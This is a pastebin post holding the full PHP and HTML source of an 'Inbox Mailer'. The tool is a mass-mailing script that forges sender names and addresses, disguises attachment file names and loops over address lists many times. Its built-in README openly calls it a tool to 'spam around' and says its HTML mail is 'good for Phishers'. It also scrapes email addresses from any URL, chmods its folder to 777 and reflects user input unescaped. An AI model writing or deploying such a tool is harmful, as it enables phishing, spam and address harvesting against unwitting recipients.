[PHP] Inbox Mailer


SUBMITTED BY: Guest

DATE: Nov. 27, 2014, 7:10 a.m.

FORMAT: Text only

SIZE: 25.8 kB

HITS: 2485

  1. <html>
  2. <head>
  3. <title>D</title>
  4. <style type="text/css">
  5. body { background-color:#000000; font-weight:bold; font-family:Arial; font-size:120%;}
  6. .mainbox { background-color:#8C8C8C; padding:6px; margin:0px;border: 1px solid #FF0000;text-align:center; }
  7. .txtbox { vertical-align:top;background-color:#A1A1A1; padding:6px; margin:0px;border: 0px solid #FF0000;text-align:center; }
  8. .title {font:italic bold 16px Helvetica;background-color:#A1A1A1; padding:6px; margin:0px;border: 0px solid #FF0000;text-align:center;}
  9. .txt {font:italic bold 12px Helvetica;color:#8B0000}
  10. .sm {font:italic bold 10px Helvetica;text-align:left;}
  11. .button {background-color : #8C8C8C;color : #000000;font-size: 11px; font-family: Verdana, Arial, Helvetica, sans-serif;border: 1px solid #ffffff}
  12. </style>
  13. <script language="javascript"><!--
  14. function expand()
  15. {
  16. if(document.getElementById('About').style.display=='none')
  17. {
  18. document.getElementById('About').style.display='block';
  19. document.getElementById('greetz').innerHTML = 'Simply fill out the form and press the "Send"-Button.<br>You can attach a file, which will be uploaded to the server, encoded for the Email and then be deleted from the server(If PHP Safe-Mode is not active).<br><br>If you wish, you can spam around by inserting a lot of Email-Adresses and let the script pass through this list about 1000 times ;). Depence on PHP execution time if Safe-Mode\'s on!!!!<br><br>If you type "{email}" in the "Subject" or "Message" field the script will exchange it with the Email-Adresse you typed in the "Your Email" field<br><br>You can set the Email to a plain text Email or a HTML-Email(with or without parsing BBCodes)...good for Phishers ;)<br><br>Supported BBCode-Tags: b,i,u,center,img,url,red,blue,yellow,color,size,quote,quote=<br><br>Now you can try out the new E-Mail Grabber. Type an URL and the Grabber will search for E-Mails on the site. The Grabber is Alpha !!!<br><br><br>';
  20. }
  21. else
  22. {
  23. document.getElementById('About').style.display='none';
  24. document.getElementById('greetz').innerHTML = '';
  25. }
  26. }
  27. //--></script>
  28. <script language="JavaScript" type="text/javascript">
  29. var imageTag = false;
  30. var theSelection = false;
  31. var clientPC = navigator.userAgent.toLowerCase();
  32. var clientVer = parseInt(navigator.appVersion);
  33. var is_ie = ((clientPC.indexOf("msie") != -1) && (clientPC.indexOf("opera") == -1));
  34. var is_nav = ((clientPC.indexOf('mozilla')!=-1) && (clientPC.indexOf('spoofer')==-1)
  35. && (clientPC.indexOf('compatible') == -1) && (clientPC.indexOf('opera')==-1)
  36. && (clientPC.indexOf('webtv')==-1) && (clientPC.indexOf('hotjava')==-1));
  37. var is_moz = 0;
  38. var is_win = ((clientPC.indexOf("win")!=-1) || (clientPC.indexOf("16bit") != -1));
  39. var is_mac = (clientPC.indexOf("mac")!=-1);
  40. b_help = "Fat Text: [b]Text[/b] (alt+b)";
  41. i_help = "Cursive Text: [i]Text[/i] (alt+i)";
  42. u_help = "Underlined Text: [u]Text[/u] (alt+u)";
  43. q_help = "Quote: [quote]Text[/quote] (alt+q)";
  44. p_help = "Insert an image: [img]http://Image-URL[/img] (alt+p)";
  45. w_help = "Insert an URL: [url]http://URL[/url] (alt+w)";
  46. s_help = "Font-color: [color=red]Text[/color]";
  47. f_help = "Font-Size: [size=x-small]Small text[/size]";
  48. bbcode = new Array();
  49. bbtags = new Array('[b]','[/b]','[i]','[/i]','[u]','[/u]','[quote]','[/quote]','[code]','[/code]','[list]','[/list]','[list=]','[/list]','[img]','[/img]','[url]','[/url]');
  50. imageTag = false;
  51. function helpline(help) {
  52. document.darkform.helpbox.value = eval(help + "_help");
  53. }
  54. function getarraysize(thearray) {
  55. for (i = 0; i < thearray.length; i++) {
  56. if ((thearray[i] == "undefined") || (thearray[i] == "") || (thearray[i] == null))
  57. return i;
  58. }
  59. return thearray.length;
  60. }
  61. function arraypush(thearray,value) {
  62. thearray[ getarraysize(thearray) ] = value;
  63. }
  64. function arraypop(thearray) {
  65. thearraysize = getarraysize(thearray);
  66. retval = thearray[thearraysize - 1];
  67. delete thearray[thearraysize - 1];
  68. return retval;
  69. }
  70. function bbfontstyle(bbopen, bbclose) {
  71. var txtarea = document.darkform.message;
  72. if ((clientVer >= 4) && is_ie && is_win) {
  73. theSelection = document.selection.createRange().text;
  74. if (!theSelection) {
  75. txtarea.value += bbopen + bbclose;
  76. txtarea.focus();
  77. return;
  78. }
  79. document.selection.createRange().text = bbopen + theSelection + bbclose;
  80. txtarea.focus();
  81. return;
  82. }
  83. else if (txtarea.selectionEnd && (txtarea.selectionEnd - txtarea.selectionStart > 0))
  84. {
  85. mozWrap(txtarea, bbopen, bbclose);
  86. return;
  87. }
  88. else
  89. {
  90. txtarea.value += bbopen + bbclose;
  91. txtarea.focus();
  92. }
  93. storeCaret(txtarea);
  94. }
  95. function bbstyle(bbnumber) {
  96. var txtarea = document.darkform.message;
  97. txtarea.focus();
  98. donotinsert = false;
  99. theSelection = false;
  100. bblast = 0;
  101. if (bbnumber == -1) {
  102. while (bbcode[0]) {
  103. butnumber = arraypop(bbcode) - 1;
  104. txtarea.value += bbtags[butnumber + 1];
  105. buttext = eval('document.post.addbbcode' + butnumber + '.value');
  106. eval('document.post.addbbcode' + butnumber + '.value ="' + buttext.substr(0,(buttext.length - 1)) + '"');
  107. }
  108. imageTag = false;
  109. txtarea.focus();
  110. return;
  111. }
  112. if ((clientVer >= 4) && is_ie && is_win)
  113. {
  114. theSelection = document.selection.createRange().text;
  115. if (theSelection) {
  116. document.selection.createRange().text = bbtags[bbnumber] + theSelection + bbtags[bbnumber+1];
  117. txtarea.focus();
  118. theSelection = '';
  119. return;
  120. }
  121. }
  122. else if (txtarea.selectionEnd && (txtarea.selectionEnd - txtarea.selectionStart > 0))
  123. {
  124. mozWrap(txtarea, bbtags[bbnumber], bbtags[bbnumber+1]);
  125. return;
  126. }
  127. for (i = 0; i < bbcode.length; i++) {
  128. if (bbcode[i] == bbnumber+1) {
  129. bblast = i;
  130. donotinsert = true;
  131. }
  132. }
  133. if (donotinsert) {
  134. while (bbcode[bblast]) {
  135. butnumber = arraypop(bbcode) - 1;
  136. txtarea.value += bbtags[butnumber + 1];
  137. buttext = eval('document.darkform.addbbcode' + butnumber + '.value');
  138. eval('document.darkform.addbbcode' + butnumber + '.value ="' + buttext.substr(0,(buttext.length - 1)) + '"');
  139. imageTag = false;
  140. }
  141. txtarea.focus();
  142. return;
  143. } else {
  144. if (imageTag && (bbnumber != 14)) {
  145. txtarea.value += bbtags[15];
  146. lastValue = arraypop(bbcode) - 1;
  147. document.post.addbbcode14.value = "Img";
  148. imageTag = false;
  149. }
  150. txtarea.value += bbtags[bbnumber];
  151. if ((bbnumber == 14) && (imageTag == false)) imageTag = 1;
  152. arraypush(bbcode,bbnumber+1);
  153. eval('document.darkform.addbbcode'+bbnumber+'.value += "*"');
  154. txtarea.focus();
  155. return;
  156. }
  157. storeCaret(txtarea);
  158. }
  159. function mozWrap(txtarea, open, close)
  160. {
  161. var selLength = txtarea.textLength;
  162. var selStart = txtarea.selectionStart;
  163. var selEnd = txtarea.selectionEnd;
  164. if (selEnd == 1 || selEnd == 2)
  165. selEnd = selLength;
  166. var s1 = (txtarea.value).substring(0,selStart);
  167. var s2 = (txtarea.value).substring(selStart, selEnd)
  168. var s3 = (txtarea.value).substring(selEnd, selLength);
  169. txtarea.value = s1 + open + s2 + close + s3;
  170. return;
  171. }
  172. function storeCaret(textEl) {
  173. if (textEl.createTextRange) textEl.caretPos = document.selection.createRange().duplicate();
  174. }
  175. //-->
  176. </script>
  177. </head>
  178. <body>
  179. <center> <table align="center" class="mainbox" width="70%"><tr><td valign="top">
  180. <div class="title"><font color="#CD0000"></font></div>
  181. <font class="txt">
  182. <?php
  183. function checkmail($a)
  184. {
  185. $a=explode('@',strtolower($a));
  186. if(count($a)==2)
  187. {
  188. $b=explode('.',$a[1]);
  189. if(($c=count($b))>1)
  190. {
  191. $b[]=$a[0];
  192. $c++;
  193. for($i=0;$i<$c;$i++)
  194. {
  195. $a=strlen($b[$i]);
  196. if($a>1)
  197. for($j=0;$j<$a;$j++)
  198. {
  199. $d=ord($b[$i]{$j});
  200. if(($d>47 && $d<58) || ($d>97 && $d<123));
  201. elseif($j==0) return FALSE;
  202. elseif($d==45 || $d==95);
  203. elseif($i==(count($b)-1) && $d==46);
  204. else return FALSE;
  205. }
  206. else return FALSE;
  207. }
  208. }
  209. else return FALSE;
  210. }
  211. else return FALSE;
  212. return TRUE;
  213. }
  214. function bbcodes($text)
  215. {
  216. $new = stripslashes($text);
  217. $new = preg_replace("/\[img\](.*)\[\/img\]/isU", "<img src=\"$1\" border='0' />", $new);
  218. $new = preg_replace("/\[center\](.*)\[\/center\]/isU", "<center>$1</center>", $new);
  219. $new = preg_replace("/\[b\](.*)\[\/b\]/isU", "<b>$1</b>", $new);
  220. $new = preg_replace("/\[i\](.*)\[\/i\]/isU", "<i>$1</i>", $new);
  221. $new = preg_replace("/\[u\](.*)\[\/u\]/isU", "<u>$1</u>", $new);
  222. $new = eregi_replace("([ \r\n])www\\.([^ ,\r\n]*)","\\1http://www.\\2",$new);
  223. $new = eregi_replace("([ \r\n])http\:\/\/www\\.([^ ,\r\n]*)","\\1http://www.\\2",$new);
  224. $new = preg_replace("/\[url\]www.(.*)\[\/url\]/isU", "http://www.$1", $new);
  225. $new = preg_replace("/\[url\](.*)\[\/url\]/isU", "<a href='$1' target='_blank'>$1</a>", $new);
  226. $new = preg_replace("/\[red\](.*)\[\/red\]/isU", "<font color='red'>$1</font>", $new);
  227. $new = preg_replace("/\[blue\](.*)\[\/blue\]/isU", "<font color='blue'>$1</font>", $new);
  228. $new = preg_replace("/\[yellow\](.*)\[\/yellow\]/isU", "<font color='yellow'>$1</font>", $new);
  229. $new = preg_replace("/\[size=(.*)\](.*)\[\/size\]/isU", "<font size='$1'>$2</font>", $new);
  230. $new = preg_replace("/\[color=(.*)\](.*)\[\/color\]/isU", "<font color='$1'>$2</font>", $new);
  231. $new = preg_replace("/\[quote\](.*)\[\/quote\]/isU", "<table border='1' cellspacing='0' cellpadding='2' bgcolor='EFEFEF' width='95%' align='center'><tr><td>$1</tr></td></table>", $new);
  232. $new = preg_replace("/\[quote=(.*)\](.*)\[\/quote\]/isU", "<table border='1' cellspacing='0' cellpadding='2' bgcolor='EFEFEF' width='95%' align='center'><tr><td><i>Quote from $1:</i><br><br>$2</tr></td></table>", $new);
  233. $new = nl2br($new);
  234. return $new;
  235. }
  236. $to = $_POST['to'];
  237. $mails = split("\n",$to);
  238. $from = $_POST['from'];
  239. $Reply = $_POST['reply'];
  240. $subject = $_POST['subject'];
  241. if(get_magic_quotes_gpc ())
  242. {
  243. $Message = stripslashes($_POST['message']);
  244. }
  245. else
  246. {
  247. $Message = $_POST['message'];
  248. }
  249. $sendername = $_POST['sendername'];
  250. $contenttype = $_POST['ctype'];
  251. if($_POST['ctype'] == "bbhtml"){
  252. $contenttype = "html";$Message = bbcodes($Message);}
  253. else
  254. $contenttype = $_POST['ctype'];
  255. $passthrough = $_POST['count'];
  256. $Message = str_replace("{email}", $from, $Message);
  257. $subject = str_replace("{email}", $from, $subject);
  258. if(isset($_POST['submit']))
  259. {
  260. if($_FILES["file"]["tmp_name"] != "" && $_FILES["file"] != " ")
  261. {
  262. $UPLOAD = 1;
  263. $Filename = $_FILES["file"]["tmp_name"];
  264. $FilenameMail = $_POST['fakefilename'];
  265. $FileType= $_FILES["file"]["type"];
  266. @chmod("./",777);
  267. move_uploaded_file($Filename, "./$FilenameMail") or die("The file you are trying to upload couldn't be copied to the server. Maybe no R/W Access?");
  268. $content = fread(fopen($FilenameMail,"r"),filesize($FilenameMail));
  269. $content = chunk_split(base64_encode($content));
  270. }
  271. $Header = "From: $sendername <$from>\r\nReply-To: $Reply\r\n";
  272. $uid = strtoupper(md5(uniqid(time())));
  273. $header = "From: $sendername <$from>\r\nReply-To: $Reply\r\n";
  274. $header .= "MIME-Version: 1.0\r\n";
  275. If ($UPLOAD) $header .= "Content-Type: multipart/mixed; boundary=$uid\r\n";
  276. If ($UPLOAD) $header .= "--$uid\r\n";
  277. $header .= "Content-Type: text/$contenttype\r\n";
  278. $header .= "Content-Transfer-Encoding: 8bit\r\n\r\n";
  279. $header .= "$Message\r\n";
  280. If ($UPLOAD) $header .= "--$uid\r\n";
  281. If ($UPLOAD) $header .= "Content-Type: $FileType; name=\"$FilenameMail\"\r\n";
  282. If ($UPLOAD) $header .= "Content-Transfer-Encoding: base64\r\n";
  283. If ($UPLOAD) $header .= "Content-Disposition: attachment; filename=\"$FilenameMail\"\r\n\r\n";
  284. If ($UPLOAD) $header .= "$content\r\n";
  285. If ($UPLOAD) $header .= "--$uid--";
  286. @unlink ($FilenameMail);
  287. $count = 0;
  288. do
  289. {
  290. foreach($mails as $mail)
  291. {
  292. @set_time_limit(10);
  293. if($mail != "" && $mail != " ")
  294. {
  295. echo "Sending Mail to ".$mail."...\n\r<br>";
  296. flush();
  297. mail($mail, $subject, "", $header);
  298. $count++;
  299. }
  300. }
  301. $passthrough--;
  302. }while($passthrough != 0);
  303. echo "<b>".$count." Mail(s) sent</b><br><br>";
  304. echo "<a href='".$_SERVER['PHP_SELF']."'> Back</a>";
  305. if(file_exists ("DMPReview.html"))
  306. @unlink("DMPReview.html");
  307. ?>
  308. </font>
  309. </td></tr></table></center>
  310. <center><font color="white" size="-2"></font></center>
  311. </body>
  312. </html>
  313. <?php
  314. }
  315. else
  316. {
  317. if(isset($_POST['preview']))
  318. {
  319. echo "<br>Preview:<br><br><div style=\"background-color:#ffffff;text-align:left;\"><font color='#000000'>";
  320. if($_POST['ctype'] == "plain")
  321. echo nl2br(htmlentities($Message));
  322. elseif($_POST['ctype'] == "html" || $_POST['ctype'] == "bbhtml")
  323. {
  324. if($_POST['ctype'] == "bbhtml") bbcodes($Message);
  325. if(ini_get('safe_mode') )
  326. echo $Message;
  327. else
  328. { $fhndl = @fopen("DMPReview.html", "w+");
  329. if(!$fhndl)
  330. {
  331. echo $Message;
  332. }
  333. else
  334. {
  335. $bytes = @fwrite ($fhndl, $Message);
  336. if($bytes == false)
  337. {
  338. echo $Message;
  339. }
  340. else
  341. {
  342. fclose($fhndl);
  343. echo "<center><iframe width=\"700\" height=\"500\" style=\"border:1px solid #000000;\" src=\"DMPReview.html\"></iframe></center>";
  344. }
  345. }
  346. }
  347. }
  348. echo "</font></div><br><br>";
  349. }
  350. if(isset($_POST['search']))
  351. {
  352. $not = '^()<>[\]:;\\\, "@.'.chr(012).chr(015);
  353. $search = '/['.$not.'](\.{0,1}['.$not.'])*@['.$not.'](\.{0,1}['.$not.'])*(\.[a-z]{2,4})/i';
  354. //$search = '/[^. @](\.{0,1}[^. @])*@[^. @](\.{0,1}[^. @])*((\.[a-z]{2,4}){1,2}|\.museum)/i';
  355. $Page = $_POST['sURL'];
  356. ini_set('default_socket_timeout', 200);
  357. $Content = strtolower(file_get_contents($Page));
  358. //echo $Content;
  359. $blub = preg_match_all( $search, $Content, $matches,PREG_PATTERN_ORDER);
  360. $_POST['to'] = "";
  361. $ARRAY = array();
  362. $Search = array("=","href","mailto:","<",">","\"","face","arial","helvetica",",");
  363. foreach($matches[0] as $Email)
  364. {
  365. $Email1 = str_replace($Search,"",$Email);
  366. if(!in_array($Email1,$ARRAY))
  367. {
  368. $_POST['to'] .= $Email1."\n";
  369. array_push($ARRAY, $Email1);
  370. }
  371. //echo $Email1."<br>";
  372. }
  373. }
  374. ?><div class="sm"><center>
  375. <?php
  376. if( ini_get('safe_mode') )
  377. echo "<font color='red'>PHP Safe-Mode is ON</font>";
  378. else
  379. echo "<font color='green'>PHP Safe-Mode is OFF</font>&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;";
  380. echo "Chmod: <font color='red'>0".substr(sprintf("%o",fileperms(".")),-3)."</font>";
  381. ?></center>
  382. </div>
  383. <form name="darkform" method="post" action="" enctype="multipart/form-data">
  384. <center><table><tr><td class="txtbox">
  385. <font class="txt">Your Name:</font><br><input name="sendername" value="<? echo $_POST['sendername']; ?>" size="30" >
  386. </td><td class="txtbox">
  387. <font class="txt">Your Email:</font><br><input name="from" value="<? echo $_POST['from']; ?>" size="30" >
  388. </td></tr>
  389. <tr><td class="txtbox">
  390. <font class="txt">Reply to:</font><br><input name="reply" value="<? echo $_POST['reply']; ?>" size="30" >
  391. </td><td class="txtbox">
  392. <?php
  393. if( ini_get('safe_mode') )
  394. {
  395. echo "<font class=\"txt\">No attachment possible because of PHP Safe-Mode</font>";
  396. }
  397. else
  398. {
  399. ?>
  400. <font class="txt">Attachment:</font><br><input type="file" name="file" size="20" >
  401. <?php
  402. }
  403. ?>
  404. </td></tr><tr><td class="txtbox">
  405. <font class="txt">Subject:</font><br><input name="subject" value="<? echo $_POST['subject']; ?>" size="30" >
  406. </td><td class="txtbox">
  407. <?php
  408. if( ini_get('safe_mode') )
  409. {
  410. echo "<font class=\"txt\">No attachment possible because of PHP Safe-Mode</font>";
  411. }
  412. else
  413. {
  414. ?>
  415. <font class="txt">FakeFileName:</font><br><input name="fakefilename" value="<? echo $_POST['fakefilename']; ?>" size="30" >
  416. <?php
  417. }
  418. ?>
  419. </td><tr></table>
  420. <table><tr><td class="txtbox">
  421. <font class="txt">Message:</font><br>
  422. <div>
  423. <input class="button" accesskey="b" name="addbbcode0" value=" B " style="font-weight: bold; width: 30px;" onclick="bbstyle(0)" onmouseover="helpline('b')" type="button">
  424. <input class="button" accesskey="i" name="addbbcode2" value=" i " style="font-style: italic; width: 30px;" onclick="bbstyle(2)" onmouseover="helpline('i')" type="button">
  425. <input class="button" accesskey="u" name="addbbcode4" value=" u " style="text-decoration: underline; width: 30px;" onclick="bbstyle(4)" onmouseover="helpline('u')" type="button">
  426. <input class="button" accesskey="q" name="addbbcode6" value="Quote" style="width: 50px;" onclick="bbstyle(6)" onmouseover="helpline('q')" type="button">
  427. <input class="button" accesskey="p" name="addbbcode14" value="Img" style="width: 40px;" onclick="bbstyle(14)" onmouseover="helpline('p')" type="button">
  428. <input class="button" accesskey="w" name="addbbcode16" value="URL" style="text-decoration: underline; width: 40px;" onclick="bbstyle(16)" onmouseover="helpline('w')" type="button">
  429. <br><font class="txt">&nbsp;Font color:</font>
  430. <select name="addbbcode18" onchange="bbfontstyle('[color=' + this.form.addbbcode18.options[this.form.addbbcode18.selectedIndex].value + ']', '[/color]');this.selectedIndex=0;" onmouseover="helpline('s')">
  431. <option style="color: black; background-color: rgb(250, 250, 250);" value="#444444" class="genmed">Standard</option>
  432. <option style="color: darkred; background-color: rgb(250, 250, 250);" value="darkred" class="genmed">Darkred</option>
  433. <option style="color: red; background-color: rgb(250, 250, 250);" value="red" class="genmed">Red</option>
  434. <option style="color: orange; background-color: rgb(250, 250, 250);" value="orange" class="genmed">Orange</option>
  435. <option style="color: brown; background-color: rgb(250, 250, 250);" value="brown" class="genmed">Brown</option>
  436. <option style="color: yellow; background-color: rgb(250, 250, 250);" value="yellow" class="genmed">Yellow</option>
  437. <option style="color: green; background-color: rgb(250, 250, 250);" value="green" class="genmed">Green</option>
  438. <option style="color: olive; background-color: rgb(250, 250, 250);" value="olive" class="genmed">Olive</option>
  439. <option style="color: cyan; background-color: rgb(250, 250, 250);" value="cyan" class="genmed">Cyan</option>
  440. <option style="color: blue; background-color: rgb(250, 250, 250);" value="blue" class="genmed">Blue</option>
  441. <option style="color: darkblue; background-color: rgb(250, 250, 250);" value="darkblue" class="genmed">Darkblue</option>
  442. <option style="color: indigo; background-color: rgb(250, 250, 250);" value="indigo" class="genmed">Indigo</option>
  443. <option style="color: violet; background-color: rgb(250, 250, 250);" value="violet" class="genmed">Violet</option>
  444. <option style="color: white; background-color: rgb(250, 250, 250);" value="white" class="genmed">White</option>
  445. <option style="color: black; background-color: rgb(250, 250, 250);" value="black" class="genmed">Black</option>
  446. </select>
  447. &nbsp;<font class="txt">Font size:</font>
  448. <select name="addbbcode20" onchange="bbfontstyle('[size=' + this.form.addbbcode20.options[this.form.addbbcode20.selectedIndex].value + ']', '[/size]')" onmouseover="helpline('f')">
  449. <option value="7" class="genmed">Smaller</option>
  450. <option value="9" class="genmed">Smal</option>
  451. <option value="12" selected="selected" class="genmed">Normal</option>
  452. <option value="18" class="genmed">Big</option>
  453. <option value="24" class="genmed">Giant</option>
  454. </select>
  455. </div><br>
  456. <center><input class="button" name="helpbox" size="70" maxlength="100" readonly></center>
  457. <textarea name="message" cols="70" rows="12" onselect="storeCaret(this);" onclick="storeCaret(this);" onkeyup="storeCaret(this);"><? if (get_magic_quotes_gpc()) print stripslashes($_POST['message']);else print $_POST['message'];?></textarea><br>
  458. <input type="radio" name="ctype" value="plain" <? if($_POST['ctype'] == "plain" || !isset($_POST['ctype'])) echo "checked"; ?>>
  459. <font class="txt">Plain</font>
  460. <input type="radio" name="ctype" value="html" <? if($_POST['ctype'] == "html") echo "checked"; ?>>
  461. <font class="txt">HTML</font>
  462. <input type="radio" name="ctype" value="bbhtml" <? if($_POST['ctype'] == "bbhtml") echo "checked"; ?>>
  463. <font class="txt">BBCode (HTML)</font>
  464. <input type="submit" name="submit" value="Send">
  465. <input type="submit" name="preview" value="Preview">
  466. </td><td class="txtbox">
  467. <font class="txt">Emails(each separated by a line break):</font><br>
  468. <textarea name="to" cols="30" rows="10"><? print $_POST['to']; ?></textarea><br>
  469. <font class="txt">Pass through list <input name="count" value="1" size="1" > times</font><br><br>
  470. <font class="txt">Search URL for E-Mails(Alpha-Version) <input name="sURL" value="<? if(isset($_POST['sURL'])) echo $_POST['sURL']; else echo "http://";?>" size="30" ></font><br>
  471. <input type="submit" name="search" value="Search">
  472. </td></tr></table>
  473. </center>
  474. <p align="left">
  475. <a href="javascript:expand()" class="txt">READ ME</a></p><div id="About" style="display:none">
  476. <a href="../index.php">Return to vnLoader</a>
  477. <p align="left">
  478. <font class="txt" id="greetz">
  479. </font>
  480. </p>
  481. </div>
  482. </td></tr></table></center>
  483. <center><font color="white" size="-2"></font></center>
  484. </body>
  485. </html>
  486. <?php
  487. }
  488. ?>

comments powered by Disqus